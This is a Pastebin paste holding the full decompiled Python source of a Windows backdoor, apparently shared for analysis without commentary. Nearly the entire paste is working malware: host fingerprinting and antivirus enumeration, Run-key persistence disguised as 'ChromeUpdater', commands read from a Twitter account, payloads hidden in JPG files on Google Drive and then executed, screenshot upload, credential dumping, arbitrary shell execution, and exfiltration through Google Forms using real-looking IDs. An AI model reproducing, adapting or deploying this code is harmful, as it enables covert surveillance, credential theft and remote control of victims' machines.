SHARE
TWEET

MOFA_Python

Mushi_mushi Jan 14th, 2020 315 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. C:\Users\Baptiste\python-exe-unpacker\unpacked\prc.bin>uncompyle6 final2.pyc
  2. # uncompyle6 version 3.6.2
  3. # Python bytecode 3.7 (3394)
  4. # Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 19:29:22) [MSC v.1916 32 bit (Intel)]
  5. # Embedded file name: final2.py
  6. from requests import post, get
  7. from datetime import datetime
  8. from os import path, environ, remove, startfile
  9. from bs4 import BeautifulSoup
  10. from time import sleep, gmtime, strftime
  11. import subprocess, threading, winreg as wreg
  12. from base64 import b64decode, b64encode
  13. from random import choice
  14. import sys
  15. tw = '@jhone87438316'
  16. ss_id = '1FAIpQLSfCNzwaz4WoFfnvNZS99CeGMp86H3hNoHCtwira8uW_b3vYTQ'
  17. ss_id_entry = 'entry.62933741'
  18. out_id = '1FAIpQLSfwDQBvgZZfMu1LKviMuCdaWfYato07ac5tS5IZJS1XZ6BEbw'
  19. out_user_entry = 'entry.1539892742'
  20. out_result_entry = 'entry.1818065606'
  21. fk = '1BmzeSxclQMmxiD-8SjnyxXQolx-44cJh'
  22. t1 = '1JRWUcux5uocl9gNZ3f8Ue--P1kLjZkQC'
  23. t2 = '1Z2Y_QZXvza28ZqLUuzmWiSElvcySBf2o'
  24. ch = [
  25.  'chrome', 'ccleaner', 'winrar', 'proc']
  26. chimg = ['imag', 'pic', 'photo', 'cartoon']
  27. u1 = choice(ch) + '.exe'
  28. img = choice(chimg) + '.jpg'
  29. txt = choice(ch) + '.txt'
  30.  
  31. def xvfdgytrynmsdfdszxc(command):
  32.     DEVNULL = subprocess.DEVNULL
  33.     out = str(subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL).decode()).replace('\r\r\n', '')
  34.     return out
  35.  
  36.  
  37. content1 = xvfdgytrynmsdfdszxc('wmic diskdrive get SerialNumber /format:list').replace(' ', '').replace('SerialNumber=', '')
  38.  
  39. def dvnhhqertbvvfkl(file, id):
  40.     if not path.exists(file):
  41.         print('log no exist *')
  42.         with open(file, 'w+') as f:
  43.             f.write(id)
  44.             f.flush()
  45.             f.close()
  46.         xvfdgytrynmsdfdszxc('attrib +h "%appdata%\\temp3.tmp"')
  47.     else:
  48.         print('log  exist *')
  49.         remove(file)
  50.         with open(file, 'w+') as f:
  51.             f.write(id)
  52.             f.flush()
  53.             f.close()
  54.         xvfdgytrynmsdfdszxc('attrib +h "%appdata%\\temp3.tmp"')
  55.  
  56.  
  57. def dghtytyplqwesbnz(jpg_file_path, out_file):
  58.     f = open(jpg_file_path, 'rb')
  59.     jpgdata = f.read()
  60.     f.close()
  61.     b64 = str(jpgdata).split('****')[1].replace("'", '')
  62.     bytes = b64decode(b64, validate=True)
  63.     f = open(out_file, 'wb')
  64.     f.write(bytes)
  65.     f.close()
  66.     return out_file
  67.  
  68.  
  69. def qtypasadfzxc(id):
  70.     p1 = environ['appdata'] + '\\' + choice(chimg) + '.jpg'
  71.     url = 'https://drive.google.com/uc?export=qtypasadfzxcload&id=' + id
  72.     headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',  'Upgrade-Insecure-Requests':'1',  'DNT':'1',  'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  'Accept-Language':'en-US,en;q=0.5',  'Accept-Encoding':'gzip, deflate'}
  73.     r = get(url, headers=headers)
  74.     with open(p1, 'wb') as f:
  75.         f.write(r.content)
  76.         f.close()
  77.     out = environ['appdata'] + '\\' + u1
  78.     d1 = dghtytyplqwesbnz(p1, out)
  79.     delcmd = 'del ' + p1
  80.     xvfdgytrynmsdfdszxc(delcmd)
  81.  
  82.  
  83. def dzdfdytyuio(userid, fileid):
  84.     p1 = environ['USERPROFILE'] + '\\qtypasadfzxcloads\\' + choice(chimg) + '.jpg'
  85.     p2 = environ['USERPROFILE'] + '\\qtypasadfzxcloads\\' + choice(ch) + '.exe'
  86.     url = 'https://drive.google.com/uc?export=qtypasadfzxcload&id=' + fileid
  87.     headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',  'Upgrade-Insecure-Requests':'1',  'DNT':'1',  'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  'Accept-Language':'en-US,en;q=0.5',  'Accept-Encoding':'gzip, deflate'}
  88.     r = get(url, headers=headers)
  89.     with open(p1, 'wb') as f:
  90.         f.write(r.content)
  91.         f.flush()
  92.         f.close()
  93.     dvnhhqertbvvfkl(environ['appdata'] + '\\temp3.tmp', fileid)
  94.     d1 = dghtytyplqwesbnz(p1, p2)
  95.     remove(p1)
  96.     startfile(p2)
  97.     gfdggvbdsopqq(out_id, out_user_entry, userid, out_result_entry, d1)
  98.  
  99.  
  100. def fdvdgfyfytuiowe():
  101.     contents = ''
  102.     mylist = []
  103.     key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Keyboard Layout\\Preload', 0, wreg.KEY_ALL_ACCESS)
  104.     try:
  105.         for i in range(4):
  106.             n, v, t = wreg.EnumValue(key, i)
  107.             mylist.append(v[4:])
  108.  
  109.     except EnvironmentError:
  110.         pass
  111.  
  112.     key.Close()
  113.     if not any(x == '0401' for x in mylist):
  114.         if not (any(x == '0801' for x in mylist) or any(x == '0c01' for x in mylist) or any(x == '1001' for x in mylist) or any(x == '1401' for x in mylist) or any(x == '1801' for x in mylist) or any(x == '1c01' for x in mylist) or any(x == '2001' for x in mylist) or any(x == '2401' for x in mylist) or any(x == '2801' for x in mylist) or any(x == '3801' for x in mylist) or any(x == '3401' for x in mylist) or any(x == '3c01' for x in mylist)):
  115.             if any(x == '3001' for x in mylist):
  116.                 pass
  117.         else:
  118.             os._exit(0)
  119.     elif not path.exists(environ['appdata'] + '\\temp1.tmp'):
  120.         serial = xvfdgytrynmsdfdszxc('wmic diskdrive get SerialNumber /format:list').replace(' ', '').replace('SerialNumber=', '')
  121.         if serial == '':
  122.             os._exit(0)
  123.         ver = xvfdgytrynmsdfdszxc('wmic  os get Caption /Format:List & wmic computersystem get Manufacturer,Model,domain , Name /Format:List & WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List').replace('Caption=', '').replace('Model', '').replace('Domain', '').replace('Name', '').replace(' ', '=').replace('Manufacturer', '').replace('\n\n\n', '').replace('displayName', '').split('=')
  124.         v = ''
  125.         for i in ver:
  126.             v += i[:4]
  127.  
  128.         sss = serial + v
  129.         with open(environ['appdata'] + '\\temp1.tmp', 'w+') as f:
  130.             f.write(sss)
  131.             f.flush()
  132.             f.close()
  133.         xvfdgytrynmsdfdszxc('attrib +h "%appdata%\\temp1.tmp"')
  134.         with open(environ['appdata'] + '\\temp1.tmp', 'r') as f:
  135.             contents = f.read()
  136.             f.close()
  137.     else:
  138.         with open(environ['appdata'] + '\\temp1.tmp', 'r') as f:
  139.             contents = f.read()
  140.             f.close()
  141.     return contents
  142.  
  143.  
  144. def bgfhfghggrydss(id='dfffdfdgrrhh'):
  145.     now = datetime.now()
  146.     dvnhhqertbvvfkl(environ['appdata'] + '\\temp3.tmp', id)
  147.     qtypasadfzxc(t1)
  148.     sleep(2)
  149.     cmd = 'start %appdata%\\' + u1 + ' savescreenshot %appdata%\\' + img
  150.     print(cmd)
  151.     xvfdgytrynmsdfdszxc(cmd)
  152.     with open(environ['appdata'] + '\\' + img, 'rb') as file:
  153.         url = 'https://api.imgbb.com/1/upload'
  154.         payload = {'key':ddrtrtrtrtetecvcdfdfdee(fk),
  155.          'image':b64encode(file.read()),
  156.          'name':content1[:7] + now.strftime('%H:%M')}
  157.         res = post(url, payload)
  158.     delcmd = 'del %appdata%\\' + u1 + '& del %appdata%\\' + img
  159.     xvfdgytrynmsdfdszxc(delcmd)
  160.  
  161.  
  162. def tyyinccdfdfdsygg(id='werrttyyggg'):
  163.     dvnhhqertbvvfkl(environ['appdata'] + '\\temp3.tmp', id)
  164.     qtypasadfzxc(t2)
  165.     cmd = 'start %appdata%\\' + u1 + '  /stext %appdata%\\' + txt
  166.     print(cmd)
  167.     xvfdgytrynmsdfdszxc(cmd)
  168.     sleep(2)
  169.     dd = ''
  170.     with open(environ['appdata'] + '\\' + txt, 'r') as file:
  171.         dd = file.read()
  172.         file.close()
  173.     serial = fdvdgfyfytuiowe()[:10]
  174.     gfdggvbdsopqq(out_id, out_user_entry, serial, out_result_entry, dd.replace('\x00', ''))
  175.     delcmd = 'del %appdata%\\' + u1 + '& del %appdata%\\' + txt
  176.     xvfdgytrynmsdfdszxc(delcmd)
  177.  
  178.  
  179. def mjhd(name=tw):
  180.     if name.startswith('@'):
  181.         name = name[1:]
  182.     url = 'https://twitter.com/' + name
  183.     headers = {'User-Agent': 'Chrome/28.0.1500.52'}
  184.     r = get(url, headers=headers)
  185.     data = r.text
  186.     print(r.status_code)
  187.     soup = BeautifulSoup(data, 'html.parser')
  188.     title = soup.title.text
  189.     bio = soup.find('p', {'class': 'ProfileHeaderCard-bio'}).text
  190.     tweets = soup.findAll('div', {'class': 'tweet'})
  191.     m1 = tweets[:1][0].find('p').text
  192.     print(m1)
  193.     return m1
  194.  
  195.  
  196. def fdsrttrt():
  197.     user_agent = {'Referer':'https://api.ipify.org',
  198.      'User-Agent':'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36'}
  199.     ip = get('https://api.ipify.org', headers=user_agent).text
  200.     return ip
  201.  
  202.  
  203. def rthgfhfgdtr(url='http://www.google.com/', timeout=5):
  204.     try:
  205.         req = get(url, timeout=timeout)
  206.         req.raise_for_status()
  207.         return True
  208.     except requests.HTTPError as e:
  209.         try:
  210.             return False
  211.         finally:
  212.             e = None
  213.             del e
  214.  
  215.     except requests.ConnectionError:
  216.         return False
  217.  
  218.     return False
  219.  
  220.  
  221. def fgdgdghnccvbbqw(id, entry, string):
  222.     url = 'https://docs.google.com/forms/d/e/' + id + '/formResponse'
  223.     enc = b64encode(bytes(string, 'utf8')).decode()
  224.     form_data = {entry: enc}
  225.     user_agent = {'Referer':'https://docs.google.com/forms/d/e/' + id + '/viewform',  'User-Agent':'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36'}
  226.     r = post(url, data=form_data, headers=user_agent)
  227.     if r.status_code == 200:
  228.         return True
  229.     return False
  230.  
  231.  
  232. def gfdggvbdsopqq(id, entry1, string1, entry2, string2):
  233.     url = 'https://docs.google.com/forms/d/e/' + id + '/formResponse'
  234.     enc1 = b64encode(bytes(string1, 'utf8')).decode()
  235.     enc2 = b64encode(bytes(string2, 'utf8')).decode()
  236.     form_data = {entry1: enc1, entry2: enc2}
  237.     user_agent = {'Referer':'https://docs.google.com/forms/d/e/' + id + '/viewform',  'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'}
  238.     r = post(url, data=form_data, headers=user_agent)
  239.     if r.status_code == 200:
  240.         return True
  241.     return False
  242.  
  243.  
  244. def ddrtrtrtrtetecvcdfdfdee(id):
  245.     url = 'https://drive.google.com/uc?export=qtypasadfzxcload&id=' + id
  246.     headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',  'Upgrade-Insecure-Requests':'1',  'DNT':'1',  'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  'Accept-Language':'en-US,en;q=0.5',  'Accept-Encoding':'gzip, deflate'}
  247.     r = get(url, headers=headers)
  248.     return b64decode(r.content).decode()
  249.  
  250.  
  251. def ffgrtrdffdfcvcdfdfdef():
  252.     pt = sys.argv[0]
  253.     destination = environ['USERPROFILE'] + '\\Documents\\' + sys.argv[0].split('\\')[(-1)]
  254.     try:
  255.         key0 = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, wreg.KEY_ALL_ACCESS)
  256.         tt = wreg.QueryValueEx(key0, 'ChromeUpdater')
  257.         key0.Close()
  258.         if tt[0].replace('\\\\', '\\') != destination:
  259.             key1 = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, wreg.KEY_ALL_ACCESS)
  260.             wreg.SetValueEx(key1, 'ChromeUpdater', 0, wreg.REG_SZ, destination)
  261.             key1.Close()
  262.     except FileNotFoundError:
  263.         key2 = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, wreg.KEY_ALL_ACCESS)
  264.         wreg.SetValueEx(key2, 'ChromeUpdater', 0, wreg.REG_SZ, destination)
  265.         key2.Close()
  266.  
  267.  
  268. def dfdfppoqwwdfdef(txt):
  269.     temp = tempfile.TemporaryFile()
  270.     temp.write(bytes(txt, 'utf8'))
  271.     temp.seek(0)
  272.     return temp.read().decode()
  273.  
  274.  
  275. def dfhbbnnnffsse(id):
  276.     contents = ''
  277.     if not path.exists(environ['appdata'] + '\\temp3.tmp'):
  278.         print('log not exist')
  279.         contents = ''
  280.     else:
  281.         f = open(environ['appdata'] + '\\temp3.tmp', 'r')
  282.         contents = f.read()
  283.         f.close()
  284.     if id != contents or contents == '':
  285.         return True
  286.     return False
  287.  
  288.  
  289. def dfdereerexccb(tweet):
  290.     if '--' in tweet:
  291.         if len(tweet.split('--')) >= 2:
  292.             ssid = tweet.split('--')[0]
  293.             id = tweet.split('--')[1]
  294.             cmd = tweet.split('--')[2]
  295.             if ssid in fdvdgfyfytuiowe() or ssid == 'all':
  296.                 pass
  297.             elif dfhbbnnnffsse(id):
  298.                 if cmd == 'dd':
  299.                     dzdfdytyuio(ssid, id)
  300.                 if cmd == 'cc':
  301.                     bgfhfghggrydss(id)
  302.                 if cmd == 'pp':
  303.                     tyyinccdfdfdsygg(id)
  304.                 if cmd == 'md':
  305.                     content2 = ddrtrtrtrtetecvcdfdfdee(id)
  306.                     dd = xvfdgytrynmsdfdszxc(content2)
  307.                     dvnhhqertbvvfkl(environ['appdata'] + '\\temp3.tmp', id)
  308.                     gfdggvbdsopqq(out_id, out_user_entry, ssid, out_result_entry, dd)
  309.  
  310.  
  311. def dfdftretretnmnddeeaax():
  312.     while True:
  313.         try:
  314.             while rthgfhfgdtr():
  315.                 sleep(10)
  316.                 if not path.exists(environ['appdata'] + '\\temp2.tmp'):
  317.                     f = open(environ['appdata'] + '\\temp2.tmp', 'w+')
  318.                     xvfdgytrynmsdfdszxc('attrib +h "%appdata%\\temp2.tmp"')
  319.                     i = fdvdgfyfytuiowe() + fdsrttrt().replace('.', 'p')
  320.                     sleep(1)
  321.                     status = fgdgdghnccvbbqw(ss_id, ss_id_entry, i)
  322.                     sleep(1)
  323.                     f.write(str(status))
  324.                     f.close()
  325.                 tweet = mjhd()
  326.                 dfdereerexccb(tweet)
  327.  
  328.         except:
  329.             pass
  330.         else:
  331.             print('')
  332.  
  333.  
  334. def main():
  335.     t1 = threading.Thread(target=fdvdgfyfytuiowe)
  336.     t1.start()
  337.     t = threading.Thread(target=ffgrtrdffdfcvcdfdfdef)
  338.     t.start()
  339.     t2 = threading.Thread(target=dfdftretretnmnddeeaax)
  340.     t2.start()
  341.     t1.join()
  342.     t.join()
  343.     t2.join()
  344.  
  345.  
  346. if __name__ == '__main__':
  347.     main()
  348. # okay decompiling final2.pyc
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top